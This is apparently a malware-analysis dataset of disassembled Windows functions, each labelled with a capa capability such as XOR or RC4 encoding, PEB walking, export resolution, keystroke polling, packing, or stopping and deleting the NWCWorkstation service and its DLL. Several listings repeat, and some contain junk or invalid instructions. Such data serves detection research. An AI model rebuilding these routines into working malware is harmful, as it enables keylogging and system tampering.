joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10021310
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x10021259
add ebx, 0
push ecx
call 0x1002126e
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6e4252c9
sub ebx, dword [0x6e444b08]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6e444af8
call fcn.1001cd38
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1001c246
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x100213cc
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x100213cc
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x10021383
mov eax, 1
lock xchg dword [0x6e444b04], eax
push 0x3dd1fc71
call 0x10021310
push esi
add esp, 8
cmp eax, 0
jne 0x100212f9
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1002131f
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x10021334
cmp ecx, edx
cmp eax, 0
je 0x10021359
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x10021343
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.10021372
dec eax
loope 0x10021375
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6e444b04], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x100213a9
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x100213be
jmp 0x100213c9
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x100212b7
Function at 0x10028431
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x10028707
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6e43177c
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6e428742
push 0xffffffffffffffff
call fcn.1001f631
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x1002849b
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.100284b3
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100286fb
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100286cf
Function at 0x10037f01
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10037f23
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10037f23
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10037f23
ret
cmp word [ebx + 4], 0x14c
jne 0x10037f23
test word [ebx + 0x16], 2
je 0x10037f23
test word [ebx + 0x16], 0x100
je 0x10037f23
cmp word [ebx + 0x18], 0x10b
jne 0x10037f23
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10037f23
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10037faf
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10037f43
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1001ee8e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10037f23
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x10037faf
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x10037f23
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x10037f23
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x10037f23
ret
cmp word [ebx + 4], 0x14c
jne 0x10037f23
test word [ebx + 0x16], 2
je 0x10037f23
test word [ebx + 0x16], 0x100
je 0x10037f23
cmp word [ebx + 0x18], 0x10b
jne 0x10037f23
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x10037f23
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x10037faf
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x10037f43
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.1001ee8e
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x10037f23
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x10038066
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100380bf
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10038066
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10038075
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043dd18
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100380c6
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001ef3c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10038165
add edi, 4
add eax, 2
dec ecx
jne 0x100380ab
call 0x10038112
loope 0x10038108
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10038162
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10038173
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10038126
cmp eax, ecx
ja 0x10038126
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100381b0
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100381a6
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1001f41b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10038075
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100380bf
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10038066
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10038075
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043dd18
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100380c6
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001ef3c
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10038165
add edi, 4
add eax, 2
dec ecx
jne 0x100380ab
call 0x10038112
loope 0x10038108
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10038162
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x10038173
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10038126
cmp eax, ecx
ja 0x10038126
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100381b0
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100381a6
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1001f41b
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401b50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x558
push esi
push edi
call fcn.004010d0
test eax, eax
je 0x401c9e
call fcn.00401940
test eax, eax
je 0x401c9e
call fcn.00401de0
mov edi, eax
test edi, edi
je 0x401c9e
push 0x104
lea eax, [ebp - 0x158]
push 0
push eax
call fcn.004033d0
add esp, 0xc
lea eax, [ebp - 0x158]
push eax
push 0x104
call dword [0x41b400]
lea eax, [ebp - 0x158]
push eax
push str._smsimg32.dll
push 0x104
push eax
call fcn.004010a0
movups xmm0, xmmword [str.HBHGVNXfiivmgXlmgiloHvgHvierxvh]
mov ax, word [0x418618]
lea ecx, [ebp - 0x50]
mov word [ebp - 0x30], ax
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [0x418608]
movups xmmword [ebp - 0x40], xmm0
call fcn.00402340
push edi
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x558]
push str._s_s
push eax
call dword [0x41b3f0]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x696e7354
add esp, 0x20
mov dword [ebp - 0xc], 0x5071717c
mov dword [ebp - 8], 0x71687972
lea esi, [ecx + 1]
mov word [ebp - 4], 0x78
xor edx, edx
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c40
sub ecx, esi
je 0x401c6d
nop dword [eax + eax]
xor byte [ebp + edx - 0x10], 0x1d
lea eax, [ebp - 0x10]
inc edx
lea esi, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401c60
sub eax, esi
cmp edx, eax
jb 0x401c50
push ecx
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x10]
push 1
push eax
lea edx, [ebp - 0x558]
call fcn.00401a50
add esp, 0x14
mov ecx, edi
call fcn.004022f0
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x401cb0
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x1ac
push edi
push 0x44
lea eax, [ebp - 0x98]
push 0
push eax
call fcn.004033d0
mov eax, dword [0x418634]
add esp, 0xc
movups xmm0, xmmword [str.sc_stop_NWCWorkstation]
mov dword [ebp - 0x20], eax
mov ax, word [0x418638]
mov word [ebp - 0x1c], ax
movzx eax, byte [0x41863a]
mov byte [ebp - 0x1a], al
movzx eax, byte [0x418654]
mov byte [ebp - 0x38], al
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], 0x44
push eax
push 0
push 0
push 0x8000000
push 0
movups xmmword [ebp - 0x30], xmm0
push 0
movups xmm0, xmmword [str.sc_delete_NWCWorkstation]
push 0
lea eax, [ebp - 0x30]
movups xmmword [ebp - 0x50], xmm0
push eax
movq xmm0, qword [0x41864c]
push 0
movq qword [ebp - 0x40], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0xc]
call edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x98]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
call edi
push dword [ebp - 0xc]
call edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea eax, [ebp - 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x1a0]
push eax
push str._sNWCWorkstation.dll
push eax
call fcn.004023b0
add esp, 0xc
lea eax, [ebp - 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x4022f0
Capabilities:
Start service

Disassembly:
push esi
push edi
push 2
push 0
push 0
mov esi, ecx
call dword [0x41b3e8]
mov edi, eax
test edi, edi
je 0x40233a
push 0x10010
push esi
push edi
call dword [0x41b3cc]
mov esi, eax
test esi, esi
je 0x402333
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0x64
call dword [0x41b3c0]
push esi
call dword [0x41b3bc]
push edi
call dword [0x41b3bc]
pop edi
pop esi
ret
Function at 0x90fac0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x67800d
lea edi, [esi - 0x27700d]
push edi
or ebp, 0xffffffff
jmp 0x90fae2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x90fae9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x90fad8
mov eax, 1
add ebx, ebx
jne 0x90fafb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x90faf0
jne 0x90fb0c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x90faf0
xor ecx, ecx
sub eax, 3
jb 0x90fb20
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x90fb92
mov ebp, eax
add ebx, ebx
jne 0x90fb2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x90fb38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x90fb5c
inc ecx
add ebx, ebx
jne 0x90fb48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x90fb3d
jne 0x90fb59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x90fb3d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x90fb7c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x90fb6d
jmp 0x90fade
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x90fb7c
add edi, ecx
jmp 0x90fade
pop esi
mov edi, esi
mov ecx, 0x18a9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x90fb9a
cmp byte [edi], 0x11
jne 0x90fb9a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x90fb9f
lea edi, [esi + 0x50b000]
mov eax, dword [edi]
or eax, eax
je 0x90fc0e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x51715c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5171b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x90fbcc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5171bc]
or eax, eax
je 0x90fc08
mov dword [ebx], eax
add ebx, 4
jmp 0x90fbe9
call dword [esi + 0x5171b8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x90fc3f
cmp al, 0xef
ja 0x90fc32
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x90fc14
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x90fc21
mov ebp, dword [esi + 0x5171c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x197]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x90fc73
sub esp, 0xffffff80
jmp 0x40efac
Function at 0x420eb0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4da1cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004ce1b5
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x420f32
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004cb35b
mov eax, dword [eax]
push 0x59fcd8
push eax
call fcn.004bd214
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004ce440
test bl, bl
je 0x420f32
push 0x59fcd8
lea ecx, [esp + 0xc]
call fcn.004ce7d0
push 0x59fce4
lea ecx, [esp + 0xc]
call fcn.004ce7d0
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x420f6e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004ce440
jmp 0x421039
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x420ff2
lea edx, [esp + 0x7c]
push 0x59fce0
push edx
call fcn.004bd214
add esp, 8
test eax, eax
je 0x420ff2
lea eax, [esp + 0x7c]
push 0x59fcdc
push eax
call fcn.004bd214
add esp, 8
test eax, eax
je 0x420ff2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x420f82
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004ce440
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x421830
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x421892
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4218a0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4da24b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5b5850]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4219d8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x421906
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ce440
xor eax, eax
jmp 0x421a4f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004ce57d
push esi
lea ecx, [esp + 0xc]
call fcn.004ce80c
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x421a2d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.00421830
test eax, eax
jne 0x421a2d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.00421830
test eax, eax
jne 0x421a2d
lea eax, [esp + 0x14]
push 0x59fcf4
push eax
call fcn.004be360
mov esi, eax
add esp, 8
test esi, esi
jne 0x421a0c
lea ecx, [esp + 0x14]
push 0x59fcf0
push ecx
call fcn.004be2e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x421a0c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x421a0f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004ce52d
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42191e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ce440
xor eax, eax
jmp 0x421a4f
mov byte [esi], 0
push 0x59fcec
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004ce440
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4333d0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x43343e
cmp si, 0x69
ja 0x43343e
add esi, 0xffd0
cmp si, 0x11
je 0x43340e
push 0x11
call edi
test ax, ax
jge 0x43340e
or esi, 0x2000
cmp si, 0x10
je 0x433423
push 0x10
call edi
test ax, ax
jge 0x433423
or esi, 0x4000
cmp si, 0x12
je 0x433438
push 0x12
call edi
test ax, ax
jge 0x433438
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x43344b
mov esi, 0xbd
jmp 0x4333ff
cmp si, 0x6e
jne 0x433458
mov esi, 0xbe
jmp 0x4333ff
cmp si, 0x6f
jne 0x4333f9
mov esi, 0xbf
jmp 0x4333ff

Function at 0x434d80
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5c6098]
xor edx, edx
cmp eax, edx
jne 0x434da6
xor eax, eax
mov byte [eax + 0x5c5f98], al
inc eax
cmp eax, 0x100
jl 0x434d8e
mov dword [0x5c6098], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5c5f98
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x434e37
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x434e0a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x434dd8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x434eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x434f03
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x434eea
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
